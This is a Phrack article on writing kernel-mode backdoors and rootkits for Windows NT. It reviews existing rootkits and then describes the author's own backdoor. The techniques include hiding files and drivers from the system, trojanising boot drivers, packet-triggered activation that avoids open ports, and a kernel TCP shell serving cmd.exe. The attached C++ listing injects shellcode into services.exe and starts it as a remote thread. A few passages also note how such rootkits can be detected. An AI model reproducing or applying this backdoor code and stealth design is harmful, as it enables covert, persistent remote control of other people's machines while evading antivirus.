==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x06 of 0x10


|=---------------=[ Kernel-mode backdoors for Windows NT ]=--------------=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ firew0rker <[email protected]> ]=----------------=|
|=----------------=[ the nobodies <http://www.nteam.ru> ]=---------------=|

--[ Table of contents

  1 - PREFACE

  2 - OVERVIEW OF EXISTING KERNEL-MODE BACKDOORS FOR WINDOWS NT
    2.1 - NTROOTKIT
    2.2 - HE4HOOK
    2.3 - SLANRET (IERK, BACKDOOR-ALI)

  3 - OBSCURITY ON DISK, IN REGISTRY AND IN MEMORY

  4 - MY VARIANT: THORNY PATH
    4.1 - SHELL
    4.2 - ACTIVATION AND COMMUNICATION WITH REMOTE CLIENT
    4.3 - OBSCURITY ON DISK

  5 - CONCLUSION
  6 - EPILOGUE
  7 - LIST OF USED SOURCES
  8 - FILES

--[ 1 - Preface

    This article is intended for those who know the architecture of the 
Windows NT kernel and the principles of operation of NT drivers. This
article examines issues involved in the development of kernel-mode tools 
for stealthy remote administration of Windows NT.

    Recently there has been a tendency of extending the use of Windows NT
(2000, XP, 2003) from it's classical stronghold as home and 
office OS to servers. At the same time, the outdated Windows 9x family is 
replaced by the NT family. Because of this it should be evident that remote
administration tools (backdoors) and unnoticeable access tools (rootkits)
for the NT family have a certain value. Most of the published utilities 
work in user-mode and can thus be detected by Antivirus tools or by manual
inspection.

    It's quite another matter those works in kernel-mode: They can hide 
from any user-mode program. Antivirus software will have to suplly kernel-
mode components in order to detect a kernel-mode-backdoor. Software exists
that protects against such backdoors (such as IPD, "Integrity Protection
Driver"), but it's use is not widely spread. Kernel mode backdoors are not
as widely used as they could be due to their relative complexity in comp-
arison with user-mode backdoors.

--[ 2 - Overview of existing Kernel-Mode backdoors for Windows NT

    This section briefly reviews existing kernel-mode backdoors for Windows
    NT.
    
----[ 2.1 - Ntrootkit
    
    Ntrootkit (c) by Greg Hoglund and a team of free developers [1] is a 
device driver for Windows NT 4.0 and 2000. It's possibilities (implemented
and potential):

 - Receiving commands from a remote client. The rk_packet module contains
   a simplified IP-stack, which uses free IP-address from the subnet where
   the host on which Ntrootkit has been installed is situated.

   It's MAC and IP addresses are hardcoded in the source. Connection with 
   the rootkit at that IP is carried out via a TCP connection to any port. 
   The available commands in rk_command.c are:

       ps - list processes
       help - self explainatory
       buffertest, echo and debugint - for debugging purpose
       hidedir - hide directory/file
       hideproc - hide process(es)
       sniffkeys - keyboard spy

   There are also imcomplete pieces of code: Execute commands received via
   a covert channel and starting a Win32-process from a driver (a hard and
   complicated task).

 - Encrypt all traffic using Schneier's Blowfish algorithm:
   rk_blowfish.c is present, but not (yet ?) used

 - Self-defense (rk_defense.c) - hide protected objects (in this
   case: registry keys), identified by the string "_root_"; redirect
   launched processes.

   The hiding of processes, directories and files as implemented in 
   rk_ioman.c is done through hooking the following functions: 
   
       NtCreateFile
       ZwOpenFile
       ZwQueryDirectoryFile
       ZwOpenKey
       ZwQueryKey
       ZwQueryValueKey
       ZwEnumerateValueKey
       ZwEnumerateKey
       ZwSetValueKey
       ZwCreateKey

   The way to detect this rootkit:

   Make direct request to filesystem driver, send IRP to it. There is
   one more module that hooks file handling: rk_files.c, adopted from
   filemon, but it is not used.

 - Starting processes: An unfinished implementation of it can be found
   in rk_command.c, another one (which is almost complete and good) is 
   in rk_exec.c

   The implementation suffers from the fact that Zw* functions which are
   normally unavailable to drivers directly are called through the system
   call interface (int 0x2E), leading to problems with different versions
   of the NT family as system call numbers change.

    It seems like the work on Ntrootkit is very loosely coordinated: every
    developer does what (s)he considers needed or urgent. Ntrootkit does 
    not achieve complete (or sufficient) invisibility. It creates device 
    named "Ntroot", visible from User-Mode.

    When using Ntrootkit for anything practical, one will need some means
of interaction with the rootkitted system. Shortly: There will be the
need for some sort of shell. Ntrootkit itself can not give out a shell
directly, although it can start a process -- the downside is that the
I/O of that process can not be redirected. One is thus forced to start
something like netcat. It's process can be hidden, but it's TCP-connection
will be visible. The missing redirection of I/O is a big drawback.
    
    However, Ntrootkit development is still in progress, and it will 
probably become a fully-functional tool for complete and stealthy remote 
administration.

----[ 2.2 - He4Hook

    This description is based on [2]. The filesystem access was hooked via
two different methods in the versions up to and including 2.15b6. Only one
of it works at one time, and in versions after 2.15b6 the first method was
removed.

Method A: hook kernel syscalls:
===============================

ZwCreateFile, ZwOpenFile      - driver version 1.12 and from 1.17 to 
                                2.15beta6
IoCreateFile                  - from 1.13 to 2.15beta6
ZwQueryDirectoryFile, ZwClose - before 2.15beta6

Almost all these exported functions (Zw*) have the following function
body:
  mov eax, NumberFunction
  lea edx, [esp+04h]
  int 2eh                       ; Syscall interface

    The "NumberFunction" is the number of the called function in the 
syscalls table (which itself can be accessed via the global variable
KeServiceDescriptorTable). This variable points to following structure:

typedef struct SystemServiceDescriptorTable
  {
    SSD  SystemServiceDescriptors[4];
  } SSDT, *LPSSDT;

Other structures:

typedef VOID *SSTAT[];
typedef unsigned char SSTPT[];
typedef SSTAT *LPSSTAT;
typedef SSTPT *LPSSTPT;

typedef struct SystemServiceDescriptor
  {
    LPSSTAT lpSystemServiceTableAddressTable;
    ULONG  dwFirstServiceIndex;
    ULONG  dwSystemServiceTableNumEntries;
    LPSSTPT lpSystemServiceTableParameterTable;
  } SSD, *LPSSD;

The DescriptorTable pointed to by KeServiceDescriptorTable is only
accessible from kernel mode. In User-Mode, there is something called
KeServiceDescriptorTableShadow -- unfortunately it is not exported.

Base services are in

 KeServiceDescriptorTable->SystemServiceDescriptors[0]
 KeServiceDescriptorTableShadow->SystemServiceDescriptors[0]

KernelMode GUI services are in
 KeServiceDescriptorTableShadow->SystemServiceDescriptors[1]

    Other elements of that tables were free at moment when [2] was
written, in all versions up to WinNt4(SP3-6) and Win2k build 2195.
Each element of the table is a SSID structure, which contains the 
following data:

lpSystemServiceTableAddressTable   - A pointer to an array of addresses
                                     of functions that will be called if
                                     a matching syscall is called
                                     
dwFirstServiceIndex                - Start index for the first function

dwSystemServiceTableNumEntries     - Number of services in table

lpSystemServiceTableParameterTable - An array of bytes specifying the
                                     number of bytes from the stack that
                                     will be passed through

In order to hook a system call, He4HookInv replaces the address stored in
KeServiceDescriptorTable->SystemServiceDescriptos[0].lpSystemServiceTableAddressTableIn
with a pointer to it's own table.

One can interface with He4HookInv by adding your own services to the
system call tables. He4HookInv updates both tables:

- KeServiceDescriptorTable
- KeServiceDescriptorTableShadow.

Otherwise, if it updated only KeServiceDescriptorTable, new services 
would be unavailable from UserMode. To locate KeServiceDescriptorTable-
Shadow the following technique is used:

    The function KeAddSystemServiceTable can be used to add services to the
kernel. It can add services to both tables. Taking into account that its
0-th descriptor is identical, it's possible, by scanning
KeAddSystemServiceTable function's code, to find the address of the shadow
table. You can see how it is done in file He4HookInv.c, function 
FindShadowTable(void).

    If this method fails for some reason, a hardcoded address is taken
(KeServiceDescriptorTable-0x230) as location of the shadow table. This 
address has not changed since WinNT Sp3. Another problem is the search
for the correct index into the function address array. As almost all Zw*
functions have an identical first instruction (mov eax, NumberFunction),
one can get a pointer to the function number easily by adding one byte
to the address exported by ntoskrnl.exe

Method B: (for driver versions 2.11 and higher)
===============================================

    The callback tables located in the DRIVER_OBJECT of the file system
drivers are patched: The IRP handlers of the needed drivers are replaced.
This includes replacing the pointers to base function handlers 
(DRIVER_OBJECT->MajorFunction) as well as replacing pointers to the
drivers unload procedure (DRIVER_OBJECT->DriverUnload).

The following functions are handled:

IRP_MJ_CREATE
IRP_MJ_CREATE_NAMED_PIPE
IRP_MJ_CREATE_MAILSLOT
IRP_MJ_DIRECTORY_CONTROL -> IRP_MN_QUERY_DIRECTORY

For a more detailed description of the redirection of file operations
refer to the source [2].

----[ 2.3 - Slanret (IERK, Backdoor-ALI)

    The source code for this is unavailable -- it was originally disco-
vered by some administrator on his network. It is a normal driver 
("ierk8243.sys") which periodically causes BSODs, and is visible as a
service called "Virtual Memory Manager".

        "Slanret is technically just one component of a
         root kit. It comes with a straightforward backdoor
         program: a 27 kilobyte server called "Krei" that
         listens on an open port and grants the hacker remote
         access to the system. The Slanret component is a
         seven kilobyte cloaking routine that burrows into the
         system as a device driver, then accepts commands from
         the server instructing it on what files or processes
         to conceal." [3]

----[ 3. Stealth on disk, in registry and in memory

    The lower the I/O interception in a rootkit is performed, the harder
it usually is to detect it's presence. One would think that a reliable 
place for interception would be the low-level disk operations (read/write
sectors). This would require handling all filesystems that might be on 
the hard disk though: FAT16, FAT32, NTFS.

    While FAT was relatively easy to deal with (and some old DOS stealth
viruses used similar techniques) an implementation of something similar
on WinNT is a task for maniacs.

    A second place to hook would be hooking dispatch functions of file-
system drivers: Patch DriverObject->MajorFunction and FastIoDispatch in
memory or patch the drivers on disk. This has the advantage of being re-
latively universal and is the method used in HE4HookInv.

    A third possibility is setting a filter on a filesyste driver (FSD).
This has no advantages in comparison with the previous method, but has 
the drawback of being more visible (Filemon uses this approach). The
functions Zw*, Io* can then be hooked either by manipulating the Ke-
ServiceDescriptorTable or directly patching the function body. It is
usually quite easy to detect that pointers in KeServiceDescriptorTable
point to strange locations or that the function body of a function has
changed. A filter driver is also easy to detect by calling IoGetDevice-
ObjectPointer and then checking DEVICE_OBJECT->StackSize.

    All normal drivers have their own keys in the registry, namely in
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services.

    The abovementioned rootkits can hide registry keys, but obviously,
if the system is booted "cleanly", an administrator can see anything that
was hidden. One can also load a rootkit using ZwSetSystemInformation(
SystemLoadAndCallimage) without the need to create any registry keys. An
example of this technique can be found in [6].

    A rootkit loader in a separate file is too unstealthy. It might be a
smarter move to patch that call into some executable file which is part of
the system boot. One can use any driver or user-mode program that works 
with sufficient privileges, or any DLL linked to by it. One has to ask one
question though: If the newly introduced changes need to be hidden anyway,
why make two similar but differing procedures (for hiding changes to a
file as well as hiding the existance of a file) instead of limiting our-
selves to one ?

    In most cases one can target null.sys. Implementing it's functionality
is as easy as "hello world", and that is why it is usually replaced with a 
trojan. But if we are going to have a procedure for hiding changes to a
file, we can replace ANY driver with a trojan that will substitute the 
content of the replaced file with the original content to everyone (incl-
uding the kernel). Upon startup, it will copy itself to some allocated 
memory area and start a thread there. 

    This will make the trojan almost unnoticeable in memory: No system 
utility can see the driver any more, as it is just an anonymous memory
page amongst many. We do not even need a thread, using intercepted IRP 
dispatch functions of some driver (DriverObject->MajorFunction[IRP_MJ_xxx]).
We can also use IoQueueWorkItem and KeInsertQueueDpc, so no additional
threads in SYSTEM will be visible in the task manager. After this is done
the trojan can unload the driver it was started from, and reload it in a
clean (unchanged) variant. As a result, high levels of stealth will be 
achieved by relatively simple means. The original content of the manipu-
lated file could for example be stored in the trojan's file after the
trojan itself.

    It will then be sufficient to hook all FSD requests (IRP and FastIO)
and upon access change the position (and size of the file).
(CurrentIrpStackLocation->Parameters.*.ByteOffset)
    
--[ 4 - My variant: The thorny path

----[ 4.1 - Shell

    I originally intended to do something similarily simple as standard
user-mode code: Just pass a socket handle for stdin/stdout/stderr to the
newly created cmd.exe process. I did not find a way to open a useful 
socket from a driver though, as the interface with the AFD driver (kmode
core of winsock) is undocumented. Reverse-engineering it's usage was not
an option either as due to changes between versions my technique would be
unreliable. I had to find a different way.

First variant
=============

    We could start our code in the context of some process, using a shell-
code quite similar to that used in exploits. The code could wait for a TCP
connection and start cmd.exe with redirected I/O.

    I chose this way when I tired of trying to start a full-fledged win32
process from a driver. The shellcode is position-independent, searches for
kernel32.dll in memory and loads the winsock library. All that needs to be
done is injecting the shellcode into the address space of a process and 
pass control to the entry point of the shellcode. However, in the process
of doing this the normal work of the process must not be interrupted, be-
cause a failure in a critical system process will lead to a failure of the
whole system.

    So we need to allocate memory, write shellcode there, and create a
thread with EIP = entry point of the shellcode. Code to do this can be 
found in the attached file shell.cpp. Unfortunately, when CreateProcess
is called from the thread started in this way it failed, most probably 
because something that CreateProcess relies upon was not initialized pro-
poerly in the context of our thread. We thus need to call CreateProcess
from a thread context which has everything that CreateProcess needs ini-
tialized -- we're going to take a thread which belongs to the process we
are intruding into (I used SetThreadContext for that). One needs to re-
store the state of the thread prior to the interruption so it can contiue
it's normal operation.

    So we need to: Save thread context via GetThreadContext, set the EIP 
to our context via SetThreadContext, wait for the code to complete, and
then restore the original cont again. The rest is just a usual shellcode 
for Windows NT (full code in dummy4.asm).

    One unsolved problem remains: If the thread is in waiting state, it 
will not run until it wakes up. Using ZwAlertThread does not yield any re-
sult if the thread is in a nonalertable wait state. Fortunately, the 
thread in services.exe worked without a problem -- this does not imply it
will stay like this in the future though, so I continued my research:

Second variant
==============

    Things are not as easy as [4] makes them sound. Creating a full-
fledged win32-process requires it's registration in the CSRSS subsystem.
This is accomplished by using CsrClientCallServer(), which receives all
necessary information about the process (handles, TID, PID, flags). The
functions calls ZwRequestWaitReplyPort, which receives a handle of a pre-
viously opened port for connection with CSRSS.

    This port is not open in the SYSTEM process context. Opening it never
succeeded (ZwConnectPort returned STATUS_PORT_CONNECTION_REFUSED). Play-
ing with SECURITY_QUALITY_OF_SERVICE didn't help. While disassembling
ntdll.dll I saw that ZwConnectPort calls were preceded by ZwCreateSection.
But there was no time and no desire to play with sections. Here is the
code that didn't work:

VOID InformCsrss(HANDLE hProcess,HANDLE hThread,ULONG pid,ULONG tid)
{
        CSRMSG                        csrmsg;
        HANDLE                        hCurProcess;
        HANDLE                        handleIndex;
        PVOID                        p;

        _asm int 3;

        UNICODE_STRING                PortName;
        RtlInitUnicodeString(&PortName,L"\\Windows\\ApiPort");
        static  SECURITY_QUALITY_OF_SERVICE QoS =
                {sizeof(QoS), SecurityAnonymous, 0, 0};
        /*static  SECURITY_QUALITY_OF_SERVICE QoS =
                {0x77DC0260,
                (_SECURITY_IMPERSONATION_LEVEL)2, 0x120101, 0x10000};*/
        DWORD ret=ZwConnectPort(&handleIndex,&PortName,&QoS,NULL,
                                NULL,NULL,NULL,NULL);
                
        if (!ret) {
                RtlZeroMemory(&csrmsg,sizeof(CSRMSG));
                
                csrmsg.ProcessInformation.hProcess=hProcess;
                csrmsg.ProcessInformation.hThread=hThread;
                csrmsg.ProcessInformation.dwProcessId=pid;
                csrmsg.ProcessInformation.dwThreadId=tid;
                
                csrmsg.PortMessage.MessageSize=0x4c;
                csrmsg.PortMessage.DataSize=0x34;
                
                csrmsg.CsrssMessage.Opcode=0x10000;
                
        
        ZwRequestWaitReplyPort(handleIndex,(PORT_MESSAGE*)&csrmsg,
                                            (PORT_MESSAGE*)&csrmsg);
        }
}

    The solution to the problem was obvious; Switch context to one in
which the port is open, e.g. to the context of any win32-process. I inser-
ted KeAttachProcess(HelperProcess) before calling Nebbet's InformCsrss,
and KeDetachProcess afterwards. The role of the HelperProcess was taken
by calc.exe.

    When I tried using KeAttachProcess that way I failed though: The con-
text was switched (visible using the proc command in SoftICE), but Csr-
ClientCallServer returned STATUS_ILLEGAL_FUNCTION. Only Uncle Bill knows
what was happening inside CSRSS.
    
    When trying to frame the whole process creation function into
KeAttachProcess/KeDetachProcess led to the following error when calling
ZwCreateProcess: "Break Due to KeBugCheckEx (Unhandled kernel mode
exception) Error=5 (INVALID_PROCESS_ATTACH_ATTEMPT) ... ".

    A different way to execute my code in the context of an arbitrary
process is APC. The APC may be kmode or user-mode. As long as only kmode
APC may overcome nonalertable wait state, all code for process creation
must be done in kernel mode. Nebbet's code normally works at 
  IRQL == APC_LEVEL
Code execution in the context of a given win32-process by means of APC is
implemented in the StartShell() function, in file ShellAPC.cpp.
    
Interaction with the process
=============================

    Starting a process isn't all. The Backdoor still needs to communicate
with it: It is necessary to redirect it's stdin/stdout/stderr to our 
driver. We could do this like most "driver+app"-systems: Create a device
that is visible from user-mode, open it using ZwOpenFile and pass the
handle to the starting process (stdin/stdout/stderr). But a named device
is not stealthy, even if we automatically create a random names. This is
why I have chosen to use named pipes instead.
     
    Windows NT uses named pipes with names like Win32Pipes.%08x.%08x (here
%08x is random 8-digit numbers) for emulation of anonymous pipes. If we 
create one more such pipe, nobody will notice. Usually, one uses 2 anon-
ymous pipes r redirecting I/O of a console application in Win32, but when
using a named pipe one will be sufficient as it is bi-directional. The 
driver must create a bi-directional named pipe, and cmd.exe must use it's
handle as stdin/stdout/stderr.

    The handle can be opened in both kmode and user-mode. The final ver-
sion uses the first variant, but I have also experimented with the second
variant -- being able to implement different variants may help evade anti-
viruses. Starting a process with redirected I/O has been completely imple-
mented in kernel mode in the file NebbetCreateProcess.cpp.

    There are two main differences between my and Nebbet's code: The fun-
ctions that are not exported from ntoskrnl.exe but from ntdll, are dyn-
amically imported (see NtdllDynamicLoader.cpp). The handle to the named
pipe is opened with ZwOpenFile() and passed to the starting process with
ZwDuplicateObject with DUPLICATE_CLOSE_SOURCE flag.

    For opening the named pipe from user mode I inject code into a start-
ing process. I attached the patch (NebbetCreateProcess.diff) for edu-
cational purposes. It adds a code snippet to a starting process. The 
patch writes code (generated by a C++ compiler) to a process's stack. For
independence that code is a function which accepts a pointer to a struc-
ture containing all the necessary data (API addresses etc) as parameter.
This structure and a pointer to it are written to the stack together with
the code of the function itself. ESP of the starting thread is set 4 bytes
bellow the pointer to the parameters of the function, and EIP to it's en-
try point. Once the injected code is done executing, it issues a CALL back
to the original entry point. This example can be modified to be yet 
another way of injecting code into a working userland process from kernel
mode.

---[ 4.2 - Activation and communication with the remote client

    If a listening socket is permanently open (and visible to netstat -an)
it is likely to be discovered. Even if one hides the socket from netstat
is insufficient as a simple portscan could uncover the port. To remain 
stealthy a backdoor must not have any open ports visible locally or re-
motely. It is necessary to use a special packet, which on the one hand
must be unambigously identified by the backdoor as activation signal, yet
at the same time must not be so suspicious as to trigger alerts or be fil-
tered by firewalls. The activation signal could e.g. be a packet contain-
ing a set of packets at any place (header or data) -- all characteristics
of the packet (protocol, port etc) should be ignored. This allows for max-
imum flexibility to avoid aggressive packet filters.

    Obviously, we have to implement some sort of sniffer in order to 
detect such a special packet. In practice, we have several choices on how
to implement the sniffer:

1) NDIS protocol driver (advantage: possibility not only to receive
   packets, but also to send - thus making covert channel for
   communication with remote client possible; disadvantage: difficulties 
   with supporting all types of network devices) - applied in ntrootkit;

2) use service provided by IpFilterDriver on w2k and higher
   (advantages: simple implementation and complete independence
   from physical layer; disadvantage: receive only);

3) setup filter on 1 of network drivers, through which packets pass
   through (see [5]);

4) direct appeal to network drivers by some other means for receive
   and send packets (advantage: can do everything; disadvantage:
   unexplored area).

    I have chosen variant 2 due to it's simplicity and convenience for both
described variants of starting a shell. IpFilterDriver used only for
activation, further connection is made via TCP by means of TDI.

    An example of the usage of IpFilterDriver can be seen in Filtering.cpp
and MPFD_main.cpp. InitFiltering() loads the IpFilterDriver if it isn't 
yet loaded. Then it calls SetupFiltering, which sets a filter with 
IOCTL_PF_SET_EXTENSION_POINTER IOCTL. PacketFilter() is then called on 
each IP packet. If a keyword is detected StartShellEvent is set and causes
a shell to be started.

    The variant using shellcode in an existing process works with the
network in user-mode, thus we do not need to describe anything in detail.
    
    A Kernel-mode TCP shell is implemented in NtBackd00r.cpp. When cmd.exe
is started from a driver with redirected I/O, the link is maintained by 
the driver. I took the tcpecho example as base for the communitcation mod-
ule in order not to waste time coding a TDI-client from scratch. 
DriverEntry() initialises TDI, creates a listening socket and an unnamed 
device for IoQueueWorkItem.

    For each conenction an instance of the Session class is created. In
it's OnConnect handler a sequence of operations for creating a process.
process. As long as this handler is called at IRQL==DISPATCH_LEVEL, it's
impossible to do all necessary operations directly in it. It's even
impossible to start a thread because PsCreateSystemThread must be called
only at PASSIVE_LEVEL according to the DDK. Therefore the OnConnect 
handler calls IoAllocateWorkItem and IoQueueWorkItem in order to do any
further operations accomplished in WorkItem handler (ShellStarter 
function) at PASSIVE_LEVEL.

    ShellStarter calls StartShell() and creates a worker thread
(DataPumpThread) and 2 events for notifying it about arriving packets and
named pipe I/O completion. Interaction between the WorkItem/thread and 
Session class was built with taking a possible sudden disconnect and
freeing Session into account: syncronisation is accomplished by disabling
interrupts (it's equivalent of raise IRQL to highest) and by means of 
DriverStudio classes (SpinLock inside). The Thread uses a copy of some 
data that must be available even after instance of Session was deleted.

    Initially, DataPumpThread starts one asynchronous read operation 
(ZwReadFile) from named pipe -- event hPipeEvents[1] notifies about it's
completion. The other event hPipeEvents[0] notifies about data arrival 
from the network. After that ZwWaitForMultipleObjects executed in a loop 
waits for one of these events. In dependence of what event was signaled, 
the thread does a read from the named pipe and sends data to client, or 
does a read read from FIFO and writes to pipe. If the Terminating flag 
is set, thread closes all handles, terminates the cmd.exe process, and 
then terminates itself. Data arrival is signaled by the hPipeEvents[0] 
event in Session::OnReceive and Session::OnReceiveComplete handlers. 
It also used in conjunction with the Terminating flag to notify the thread
about termination.

    Data resceived from the network is buffered in pWBytePipe FIFO. 
DataPumpThread reads data from the FIFO to temporary buffers which are 
allocated for each I/O operation and writes data asynchronously to the
pipe (ZwWriteFile). The buffers are freed asynchronously in the ApcCallback-
WriteComplete handler.

    Data transfers from the pipe to the network are also accomplished through
temporary buffers that are allocated before ZwReadFile and freed in
Session::OnSendComplete.

Paths of data streams and temporary buffers handling algorithm:

NamedPipe -(new send_buf; ZwReadFile)-> temporary buffer

send_buf -(send)-> Network -> OnSendComplete{delete send_buf}

Network -(OnReceive)-> pWBytePipe -(new rcv_buf)-> temporary

buffer rcv_buf -(ZwWriteFile)-> NamedPipe ->
                                ApcCallbackWriteComplete{delete rcv_buf}

    In Session::OnReceive handler data is written to the FIFO and the 
DataPumpThread is notified about it's arrival. If the transport has more
data available than indicated another buffer is allocated to read the
rest. When the transport is done - asynchronously - OnReceiveComplete()
handler is called, which does the same as OnReceive.

----[ 4.3 - Stealth on disk

    I've implemented simple demo module (file Intercept.cpp) which hooks
dispatch functions of a given filesystem diver to hide the first N bytes of
a given file. To hook FSD call e.g. Intercept(L"\\FileSystem\\Fastfat").
There is only 2 FSDs that may be necessary to hook: Fastfat ant Ntfs,
because NT can boot from these filesystems.

    Intercept() replaces some driver dispatch functions
(pDriverObject->MajorFunction[...], pDriverObject->FastIoDispatch->...).

    When hooked driver handles IRPs and FastIo calls the corresponding hook
functions modifies file size and current file offset. Thus all user-mode
programs see file N bytes smaller than original, containing bytes N to
last. It allows to implement trick described in part 3.

--[ 5 - Conclusion

    In this article I compared 3 existing Kernel-Mode backdoors for
Windows NT from a programmers point of view, presented some ideas on making
a backdoor stealthier as well as my thorny path of writing my own Kernel-
Mode backdoor.

    What we did not describe was a method of hiding open sockets and TCP
connections from utilities such as netstat and fport. Netstat uses 
SnmpUtilOidCpy(), and fport talks directly with drivers
(\Device\Udp and \Device\Tcp). To hide something from these and all
similar tools, it's necessary to hook aforementioned drivers with one of
methods mentioned in section "Stealth on disk, in registry and in
memory". I did not explore that issue yet. Probably, its consideration
deserves a separate article. Advice for those who decided to move this
direction: begin with the study of IpLog sources [5].

--[ 6 - Epilogue

    When/if this article will be published in Phrack, the article itself
(probably improved and supplemented), its Russian original, and full code
of all used examples will be published at our site http://www.nteam.ru

--[ 7 - List of used sources

1. http://rootkit.com
2. "LKM-attack on WinNT/Win2k"
   http://he4dev.e1.bmstu.ru/He4ProjectRepositary/HookSysCall/
3. "Windows Root Kits a Stealthy Threat"
   http://www.securityfocus.com/news/2879
4. Garry Nebbet. Windows NT/2000 native API reference.
5. "IP logger for WinNT/Win2k"
   http://195.19.33.68/He4ProjectRepositary/IpLog/

--[ 8 - Files

----[ 8.1 - Shell.CPP

#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"

#if (DBG)
#define dbgbkpt __asm int 3
#else
#define dbgbkpt
#endif

const StackReserve=0x00100000;
const StackCommit= 0x00001000;
extern BOOLEAN Terminating;

extern "C" char shellcode[];
extern "C" const CLID_addr;
extern "C" int const sizeof_shellcode;

namespace NT {
typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5
    ULONG NextEntryDelta;
    ULONG ThreadCount;
    ULONG Reserved1[6];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ProcessName;
    KPRIORITY BasePriority;
    ULONG ProcessId;
    ULONG InheritedFromProcessId;
    ULONG HandleCount;
    ULONG Reserved2[2];
    VM_COUNTERS VmCounters;
    SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4;
}

BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId)
{
        NT::UNICODE_STRING ProcessName;
        NT::RtlInitUnicodeString(&ProcessName,process);
        ULONG n=0xFFFF;
        PULONG q =
                (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
    while (NT::ZwQuerySystemInformation(
        NT::SystemProcessesAndThreadsInformation, q, n * sizeof *q, 0))
        {
                NT::ExFreePool(q);
                n*=2;
                q = (PULONG)NT::ExAllocatePool
                        (NT::NonPagedPool,n*sizeof(*q));
        }

        ULONG MajorVersion;
        NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);

    NT::PSYSTEM_PROCESSES p
        = NT::PSYSTEM_PROCESSES(q);
    BOOL found=0;
        char** pp=(char**)&p;
    do
        {
                if ((p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString
                        (&p->ProcessName,&ProcessName,TRUE)))
                {
                        if (MajorVersion<=4)
                                *ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId;
                                else *ClientId = p->Threads[0].ClientId;
                        found=1;
                        break;
                }
                if (!(p->NextEntryDelta)) break;
                *pp+=p->NextEntryDelta;
        } while(1);
        
        NT::ExFreePool(q);
    return found;
}

VOID StartShell()
{
        //Search ntdll.dll in memory
        PVOID pNTDLL=FindNT();        
        //Dynamicaly link to functions not exported by ntoskrnl,
        //but exported by ntdll.dll
        DYNAMIC_LOAD(ZwWriteVirtualMemory)
        DYNAMIC_LOAD(ZwProtectVirtualMemory)
        DYNAMIC_LOAD(ZwResumeThread)
        DYNAMIC_LOAD(ZwCreateThread)
        HANDLE  hProcess=0,hThread;
        //Debug breakpoint
        dbgbkpt;
        NT::CLIENT_ID clid;
        //Code must be embedded into thread, which not in nonalertable wait state.
        //Such thread is in process services.exe, let's find it
        if(!FindProcess(L"services.exe"/*L"calc.exe"*/,&clid)) {dbgbkpt;
                return;};
        NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE};
        //Open process - get it's descriptor
        NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
        if (!hProcess) {dbgbkpt;
                return;};
        /*NT::PROCESS_BASIC_INFORMATION pi;
        NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation, &pi, sizeof(pi), NULL);*/
        ULONG n = sizeof_shellcode;
        PVOID p = 0;
        PVOID EntryPoint;

        //Create code segment - allocate memory into process context
        NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
                                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (!p) {dbgbkpt;
                return;};

        //*((PDWORD)(&shellcode[TID_addr]))=(DWORD)clid.UniqueThread;
        //Write process and thread ID into shellcode, it will be needed for
        //further operations with that thread
        *((NT::PCLIENT_ID)(&shellcode[CLID_addr]))=(NT::CLIENT_ID)clid;
        //Write shellcode to allocated memory
        ZwWriteVirtualMemory(hProcess, p, shellcode, sizeof_shellcode, 0);
        //Entry point is at the beginning of shellcode
        EntryPoint = p;

        //Create stack segment
    NT::USER_STACK stack = {0};
    n = StackReserve;
    NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,
                                MEM_RESERVE, PAGE_READWRITE);
        if (!stack.ExpandableStackBottom) {dbgbkpt;
                return;};
    stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom)
                              + StackReserve;
    stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
                               - StackCommit;
    n = StackCommit + PAGE_SIZE;
    p = PCHAR(stack.ExpandableStackBase) - n;
        //Create guard page
        NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
                                MEM_COMMIT, PAGE_READWRITE);
    ULONG x; n = PAGE_SIZE;
    ZwProtectVirtualMemory(hProcess, &p, &n,
                               PAGE_READWRITE | PAGE_GUARD, &x);
        //Initialize new thread context
        //similar to it's initialization by system
    NT::CONTEXT context = {CONTEXT_FULL};
    context.SegGs = 0;
    context.SegFs = 0x38;
    context.SegEs = 0x20;
    context.SegDs = 0x20;
    context.SegSs = 0x20;
    context.SegCs = 0x18;
    context.EFlags = 0x3000;
    context.Esp = ULONG(stack.ExpandableStackBase) - 4;
    context.Eip = ULONG(EntryPoint);
        NT::CLIENT_ID cid;

        //Create and start thread
    ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &attr,
                       hProcess, &cid, &context, &stack, TRUE);

        //Here i tried to make thread alertable. The try failed.
        /*HANDLE hTargetThread;
        NT::ZwOpenThread(&hTargetThread, THREAD_ALL_ACCESS, &attr, &clid);
        PVOID ThreadObj;
        NT::ObReferenceObjectByHandle(hTargetThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, &ThreadObj, NULL);
        *((unsigned char *)ThreadObj+0x4a)=1;*/

    ZwResumeThread(hThread, 0);
}


VOID ShellStarter(VOID* StartShellEvent)
{
        do if (NT::KeWaitForSingleObject(StartShellEvent,NT::Executive,NT::KernelMode,FALSE,NULL)==STATUS_SUCCESS)
                if (Terminating) NT::PsTerminateSystemThread(0); else StartShell();
        while (1);
}

----[ 8.2 - ShellAPC.cpp

#include <stdio.h>
#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
#include "NebbetCreateProcess.h"

